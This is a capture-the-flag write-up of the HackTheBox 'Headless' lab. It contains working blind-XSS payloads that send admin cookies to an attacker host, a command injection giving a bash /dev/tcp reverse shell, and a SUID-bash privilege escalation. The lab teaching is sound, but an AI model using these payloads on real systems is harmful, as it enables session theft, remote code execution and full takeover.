the_open_door
coffee
ESEN

Headless

HackTheBoxEasyLinux10.10.11.8

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#linux#flask#werkzeug#blind-xss#cookie-stealing#command-injection#sudo#path-relative#oscp
TL;DR. A Flask app on port 5000 exposes a /support form that forwards the request headers to /dashboard, where an administrative bot reviews them. Injecting <img onerror=fetch(...+document.cookie)> into the User-Agent (Blind XSS) leaks the admin session cookie and unlocks /dashboard. The date parameter of the report generator is concatenated into a shell command, so a ; payload yields a reverse shell as dvir. To escalate, sudo -l allows /usr/bin/syscheck without a password; the script invokes ./initdb.sh with a relative path, so dropping our own initdb.sh with chmod u+s /bin/bash in the cwd closes the chain to root.

Recon

Initial scan

A quick ping hints at the operating system before the full nmap.

ping to 10.10.11.8 shows ttl=63

PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=108 ms

The observed TTL is 63, not 64: every routing hop decrements it by one, so the original was 64 and that points at Linux (Windows starts from 128). An indicator, not a confirmation.

Full TCP sweep next:

nmap -p- finds 22 ssh and 5000 upnp

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

The -oG file the scan leaves behind is summarised by extractPorts, another ~/.zshrc function, which also copies the list to the clipboard for the second scan:

extractPorts scan

extractPorts boils the scan down: IP 10.10.11.8 and open ports 22,5000

Extracting information ...
IP Address: 10.10.11.8
Open ports: 22,5000

Ports copied to clipboard

Only two ports: 22 (SSH) and 5000. nmap labels it upnp because of the default service for that port, but 5000 is the canonical port for a Python development server (Flask/Werkzeug). A focused -sCV against those two ports confirms it:

nmap -sCV on 22 and 5000 identifies OpenSSH 9.2p1 and Werkzeug 2.2.2

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Under Construction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Werkzeug 2.2.2 + Python 3.11.2 = a Flask app running on the dev server. OpenSSH 9.2p1 Debian 2+deb12u2 also pins the base: Debian 12 (Bookworm). SSTI is in the back of my mind, but I want to enumerate the web first.

Web - TCP 5000

Port 5000 serves an Under Construction page with a countdown. wappalyzer detects no technology at all, not even after hitting its Reload, so there is no hint from that side:

the Under Construction landing page on 5000 with its countdown and Wappalyzer reporting no technologies detected

The source hides no secrets either, but it does hand over something useful: the For questions button points at /support, a route that had not shown up yet.

the landing page view-source: the JavaScript countdown and the For questions link pointing at /support

<div class="container">
    <h1>Welcome to Our Website</h1>
    <p>We're working hard to bring you an amazing online experience.</p>
    <div class="countdown">
        Site will be live in <span id="countdown">Loading...</span>.
    </div>
    <a href="/support" class="button">For questions</a>
</div>

What does drop a detail is whatweb:

whatweb reports the is_admin cookie, Werkzeug 2.2.2 and the Under Construction title

http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5,
HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2],
Script, Title[Under Construction], Werkzeug[2.2.2]

Cookies[is_admin]: the app hands out a cookie by that name to any anonymous visitor, with no login involved. A cookie whose name is literally a privilege boolean is the kind of detail worth holding on to before probing anything. A route scan with dirsearch also exposes two endpoints:

dirsearch finds /dashboard (401) and /support (200)

[21:15:52] 401 -   317B - /dashboard
[21:16:46] 200 -    2KB - /support

/dashboard responds 401, so it needs authentication. /support is open, a free-form form, the entry point.

/support form with name, email, subject, message

Before testing anything, a normal submission intercepted with Burp shows how the form travels:

Burp intercepts the POST /support with the fields in x-www-form-urlencoded

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs

fname=jaime&lname=jaime&email=jaime%40jaime&phone=12345467&message=jaime

Two takeaways. The first rules out a vector: the data travels as plain x-www-form-urlencoded, not XML, so there is nowhere to slip in an XXE. The second is the good one, and confirms what whatweb hinted at: the is_admin cookie I was handed is InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs. That shape (a base64url payload, a dot, a signature) is itsdangerous, the library Flask signs its cookies with, and InVzZXIi decodes to "user".

With the request still held, Burp can also ask for the response (Do intercept → Response to this request), which is how to see the HTML exactly as the server emits it rather than trusting whatever the browser paints:

Burp's context menu over the POST /support request with Do intercept and Response to this request highlighted

the intercepted response shows the Contact Support form with its five fields fname, lname, email, phone and message

<form method="POST">
    <label for="fname">First Name:</label>
    <input type="text" id="fname" name="fname" required>
    <label for="lname">Last Name:</label>
    <input type="text" id="lname" name="lname" required>
    <label for="email">Email:</label>
    <input type="email" id="email" name="email" required>
    <label for="phone">Phone Number:</label>
    <input type="tel" id="phone" name="phone" required>
    <label for="message">Message:</label>
    <textarea id="message" name="message" required></textarea>
    <button type="submit">Submit</button>
</form>

Five fields, no server-side validation in sight and no anti-CSRF token. So the cookie states who I am in the clear, but it is signed with a server-side key. Flipping "user" to "admin" by hand invalidates the signature and the server rejects it. To hold a valid admin cookie, either the server has to issue it, or it has to be stolen from someone who already has one.

Shell as dvir

Blind XSS through User-Agent

The first attempt is the naive one: drop HTML tags into the form fields themselves and see what the application does with them.

the Contact Support form filled with the h1 jaime tag in four of its five fields

Before submitting it, Burp's proxy is switched on from FoxyProxy to watch where the request goes and what the server answers. And the answer is not the expected one: instead of storing the message, the server returns a "Hacking Attempt Detected!" page that renders the full HTTP headers of the rejected request (User-Agent, Accept-Language, Cookie...).

FoxyProxy switching to the burp profile while the page shows Hacking Attempt Detected with the whole Client Request Information

Hacking Attempt Detected

Your IP address has been flagged, a report with your browser information has been sent to the
administrators for investigation.

Client Request Information:

Method: POST
URL: http://10.10.11.8:5000/support
Headers: Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs

Hacking attempt detected page reflecting headers

That's the key detail: if the /dashboard panel (where an admin bot reviews attempts) renders that same template, the headers are interpreted as HTML on the admin side. Classic Blind XSS against an admin bot: the attacker never sees the result, only the side effect on their own server.

First I confirm the headers are interpreted as HTML. With Burp I replace three of them with a test tag, <h5>jaime</h5>, to see which ones get escaped and which do not:

Burp Intercept with h5 jaime in User-Agent, Accept-Language and Accept-Encoding

User-Agent: <h5>jaime</h5>
Accept-Language: <h5>jaime</h5>
Accept-Encoding: <h5>jaime</h5>

The server renders them verbatim: the injected word shows up styled in boxes in all three, confirming the HTML is interpreted and that none of them is escaped:

Hacking Attempt Detected renders injected HTML in User-Agent, Accept-Language and Accept-Encoding

Next is escalating to JavaScript with a broken image + onerror. The payload goes into the User-Agent, intercepting the request with Burp:

Burp Intercept: User-Agent replaced with the img onerror=alert("hola") payload

User-Agent: <img src=1 onerror=alert("hola")>

alert("hola") triggered in the admin browser

If it rendered in my own browser I would see the alert; coming from the "Hacking attempt" page, only the admin will. To verify something actually executes on the other side, I spin up an HTTP listener and switch the payload to a blind fetch:

python3 -m http.server 80

the attacker HTTP server up on port 80, still with no requests

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
User-Agent: <img src=1 onerror=fetch('http://10.10.16.6/xss')>

Burp Intercept with the User-Agent replaced by the img onerror payload fetching the attacker machine

python3 -m http.server receives a GET /xss from 10.10.11.8 and from 10.10.16.6

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [16/Sep/2025 21:52:05] "GET /xss HTTP/1.1" 404 -
10.10.16.6 - - [16/Sep/2025 21:55:20] "GET /xss HTTP/1.1" 404 -

The 404 is beside the point (no such file on my server); what matters is who asks. The first request comes from 10.10.11.8, the victim itself, and it lands three minutes before I open anything in my own browser: nothing on my side triggered it. The second one, from 10.10.16.6, is my own machine rendering the page afterwards. That gap is the proof: an administrative process inside the box opens the rejected-attempt pages and executes the JavaScript I planted in the header. Blind XSS running inside an authenticated admin session.

All that's left is to exfiltrate document.cookie. Double quotes around the handler to avoid colliding with the attribute:

User-Agent: <img src=1 onerror="fetch('http://10.10.16.6/prueba?xss=' + document.cookie)">

Burp Intercept: User-Agent with the fetch(document.cookie) payload

listener captures /prueba?xss=is_admin= with both cookies, mine and the bot's

10.10.16.6 - - [16/Sep/2025 22:01:33] "GET /prueba?xss=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 404 -
10.10.11.8 - - [16/Sep/2025 22:02:16] "GET /prueba?xss=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

Both lines side by side are the best possible proof, because they can be compared. Mine is still InVzZXIi... ("user"); the one arriving from 10.10.11.8 is ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0, and ImFkbWluIg decodes to "admin". The signature next to it was generated by the server with its own key, so it is valid, and that is exactly the part that could not be forged by hand.

As a variant in case <img> is filtered, the classic <script> + new Image() works just as well and does not depend on an error event:

User-Agent: <script>var i=new Image(); i.src="http://10.10.16.6/?cookie=" + document.cookie</script>

Burp Intercept with the User-Agent replaced by the script that builds an Image and puts the cookie in its src

the listener captures /?cookie= with the alternative new Image() payload

10.10.16.6 - - [16/Sep/2025 22:05:02] "GET /?cookie=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [16/Sep/2025 22:05:18] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

Same result and the same admin cookie, this time without onerror.

SSTI: the dead end that wasn't one

With the admin cookie already in the browser, and before pulling on the panel, one hypothesis from recon is still open. Werkzeug and Python confirmed, headers rendered without escaping: if that template were built by concatenating the header value, there would be SSTI and {{7*7}} would come back as 49. Same test as the rest, swapping the User-Agent from Burp:

Burp Intercept with the User-Agent set to the double-brace 7 times 7

User-Agent: {{7*7}}

the Hacking Attempt Detected page returns the User-Agent literally, unevaluated

User-Agent: {{7*7}}

It comes back literal, unevaluated. Flask renders the template with the headers passed in as context variables, not embedded into the template text before compiling it, so Jinja never sees those braces as code. That's the difference between render_template("x.html", ua=value) and render_template_string("... " + value): only the second is exploitable.

The nuance is worth keeping, because the two bugs look alike from a distance and here they half coexist: the data is reflected unescaped (hence the XSS) but not compiled (hence no SSTI). One does not imply the other.

Dashboard access and command injection

Replacing the cookie in the browser (DevTools) and refreshing /dashboard, a "System Health Report" panel shows up with a date field.

/dashboard panel: Generate System Health Report

Generating a report with a normal date just returns "Systems are up and running!":

the dashboard responds "Systems are up and running!" with a normal date

But the intercepted request makes it clear the date is sent to the server as a parameter:

Burp shows the POST date=2023-09-15

When a date parameter feeds a server-side shell command, the first test is to chain another command with ;. If it runs, you have command injection:

the dashboard's green banner prints uid=1000(dvir) after sending date=;id

date=;id

Systems are up and running! uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

A valid date isn't even needed up front: an empty parameter plus the ; is enough. The output of id is printed inside the same green "Systems are up and running!" banner, which confirms the command result is concatenated straight into the response. RCE as dvir. For a reverse shell the payload needs URL-encoding (&, >, / must be escaped):

the reverse shell payload typed into the date parameter from Burp

;/bin/bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1'

Burp encodes it itself: select the payload and use Convert selection → URL → URL-encode all characters, which leaves out not even the characters a browser considers safe.

Burp's Convert selection menu with URL and URL-encode all characters highlighted

the date parameter fully url-encoded before forwarding the request

date=%3b%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74
%63%70%2f%31%30%2e%31%30%2e%31%36%2e%36%2f%34%34%33%20%30%3e%26%31%27

With a listener waiting on 443:

sudo nc -nlvp 443

the nc listener waiting on port 443 before the request is forwarded

listening on [any] 443 ...

the request triggers the callback:

nc receives the connection, shell as dvir

The usual TTY upgrade makes the shell usable, and the ls of the directory it lands in gives more than it looks:

TTY upgrade with script, Ctrl+Z and stty raw -echo; the ls reveals the app source

dvir@headless:~/app$ ls
app.py            hackattempt.html  index.html          report.sh
dashboard.html    hacking_reports   inspect_reports.py  support.html
script /dev/null -c bash        # Ctrl+Z
stty raw -echo; fg              # reset xterm
export TERM=xterm SHELL=bash
stty rows 49 cols 236

in dvir's session TERM=xterm and SHELL=bash are exported and the size is set to 49 rows by 236 columns

The reverse shell lands straight in ~/app, the source of everything exploited so far: app.py (the routes), hackattempt.html (the template that renders the headers and enabled the XSS), inspect_reports.py next to hacking_reports (the bot that reviews the attempts) and report.sh, the script the date parameter ends up in. The whole box, in eight files.

With that, the user flag:

user.txt read as dvir

7168cd6f527f50ec1bf2403c316b304e

Privilege Escalation

sudo -l and the syscheck script

First enumeration step is always sudo -l:

sudo -l shows NOPASSWD /usr/bin/syscheck for dvir

Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

The line above is worth reading too: env_reset and secure_path mean sudo throws away my environment and rebuilds PATH from scratch with system directories. A classic PATH hijack, dropping a fake binary in a directory of mine and putting it first, is off the table from the start.

Running it once already hints at where this goes:

Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.00, 0.00, 0.02
Database service is not running. Starting it ...

"Starting it ..." implies something gets launched. The binary is a script, so reading it shows why:

cat /usr/bin/syscheck: absolute paths everywhere except ./initdb.sh

#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it ..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

The irony is right there. Whoever wrote this script did worry about PATH: find, sort, tail, date, echo, df, awk, uptime, pgrep, every one of them absolute, not a single relative call. And then, on the last line, ./initdb.sh.

Three details combine:

  • The script runs as root (the passwordless sudo allows it).
  • ./initdb.sh is relative to the working directory, and sudo does not change the cwd: it executes whatever sits in the directory I launch the command from.
  • pgrep -x "initdb.sh" never matches (no process is literally named like that), so the then branch always fires. That was already visible in the run above, with its "Starting it ...".

The result is a PATH hijack turned inside out: what gets controlled is not PATH, which is locked down, but the cwd, which nobody locked down.

Abusing the relative initdb.sh

All it takes is a writable directory, and dvir's own home qualifies:

echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
ls -l /bin/bash

sudo syscheck runs our own initdb.sh and /bin/bash ends up with the SUID bit

Database service is not running. Starting it ...
dvir@headless:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 24  2023 /bin/bash

The s bit is in place. bash -p keeps the EUID at root (instead of dropping it back to dvir), and the root flag is right there:

cat /root/root.txt after bash -p

bash -p
id
# uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
cat /root/root.txt
a409b20f3806c408cffc9f19bf6a8ed4

Attack chain

nmap (22, 5000)
  └─> Flask on /support (reflects headers on the "hacking attempt" page)
        └─> Blind XSS via User-Agent → fetch to 10.10.16.6 with document.cookie
              └─> bot's signed is_admin cookie (ImFkbWluIg...) → /dashboard
                    └─> ;id in the date parameter → RCE as dvir
                          └─> reverse shell + user.txt
                                └─> sudo NOPASSWD /usr/bin/syscheck → ./initdb.sh (relative path)
                                      └─> own initdb.sh in ~ with chmod u+s /bin/bash
                                            └─> bash -p → root.txt

Lessons learned

  • A "hacking attempt detected" page that renders request headers is a perfect sink for Blind XSS: whichever bot reviews the panel will execute any JS you put into User-Agent.
  • A signed cookie (the payload.signature shape of itsdangerous) shows its contents but cannot be forged without the server key. When the interesting value travels signed, the path stops being "tamper with it" and becomes "steal a legitimate one", which is exactly what pushes towards the XSS.
  • Data being reflected unescaped does not imply it is compiled as a template. Here the headers give XSS but {{7*7}} comes back literal: Flask passes them as context variables instead of concatenating them into the template. SSTI and XSS look alike from a distance and have to be ruled out separately.
  • Always be suspicious of any parameter that looks like it feeds a shell command (dates, IPs, hostnames). ; and | are the first test to confirm command injection.
  • A sudo on a script is not safe by default; read it. secure_path locks down PATH, but it does not lock down the cwd: a single relative path (./initdb.sh) in a script running as root hands execution back to the attacker, no matter how absolute the other ten calls are.
  • chmod u+s /bin/bash + bash -p is the shortest path from "I can run a command as root" to "I have a persistent root shell".
  • TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.
Command cheatsheet 22 commands

Quick review